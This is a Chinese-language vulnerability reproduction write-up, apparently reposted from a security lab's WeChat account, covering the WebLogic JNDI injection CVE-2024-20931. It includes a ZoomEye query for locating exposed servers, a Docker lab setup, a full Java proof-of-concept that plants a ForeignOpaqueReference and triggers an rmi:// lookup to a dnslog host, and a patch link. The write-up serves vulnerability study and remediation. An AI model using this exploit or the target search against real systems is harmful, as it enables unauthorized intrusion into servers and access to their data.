【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

admin 2024年2月20日08:58:48评论161 views字数 2440阅读8分8秒阅读模式
0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

0x01漏洞介绍

Oracle Fusion Middleware(Oracle融合中间件)和Oracle WebLogic Server都是美国甲骨文(Oracle)公司的产品。Oracle Fusion Middleware是一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

Oracle Fusion Middleware 的 Oracle WebLogic Server 12.2.1.4.0版本、14.1.1.0.0版本存在安全漏洞。攻击者利用该漏洞可以访问敏感数据。


【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

0x02影响版本

Oracle Fusion Middleware 14.1.1.0.0

Oracle Fusion Middleware 12.2.1.4.0

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

0x03漏洞复现
  1. zoomeye语法

    title:"Error 404--Not Found" +app:"Oracle WebLogic Server"
  2. 【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

1.访问漏洞环境

注:也可以用docker环境

docker pull ismaleiva90/weblogic12docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

2.对漏洞进行复现

poc代码

package com.supeream;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;import javax.naming.InitialContext;import java.lang.reflect.Field;import java.util.Hashtable;
public class CVE_2024_209321 {    public static void main(String[] args) throws Exception {        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
        // 创建用来远程绑定对象的InitialContext        String url = "t3://192.168.86.6:7001"; // 目标机器        Hashtable env1 = new Hashtable();        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env1.put(Context.PROVIDER_URL, url); // 目标        InitialContext c = new InitialContext(env1);
        // ForeignOpaqueReference的jndiEnvironment属性        Hashtable env2 = new Hashtable();        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");        env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt");
        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性        ForeignOpaqueReference f = new ForeignOpaqueReference();        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f, env2);        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        String ldap = "rmi://jwbye8.dnslog.cn/mt";        remoteJNDIName.set(f, ldap);
        // 远程绑定ForeignOpaqueReference对象        c.rebind("glassy", f);
        // lookup查询ForeignOpaqueReference对象        try {            c.lookup("glassy");        } catch (Exception e) {        }    }}

测试DNSlog(漏洞存在)

执行poc java代码

注:注意依赖文件的加载

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

漏洞存在

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

3.工具测试(漏洞存在)

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

dnslog回显

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)


【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://www.oracle.com/security-alerts/cpujan2024.htmlhttps://github.com/dinosn/CVE-2024-20931



弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来


















【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)


知识分享完了

喜欢别忘了关注我们哦~


学海浩茫,

予以风动,
必降弥天之润!


弥 天

安全实验室

【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

原文始发于微信公众号(弥天安全实验室):【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月20日08:58:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【成功复现】Oracle WebLogic Server JNDI注入漏洞(CVE-2024-20931)https://cn-sec.com/archives/2507331.html

发表评论

匿名网友 填写信息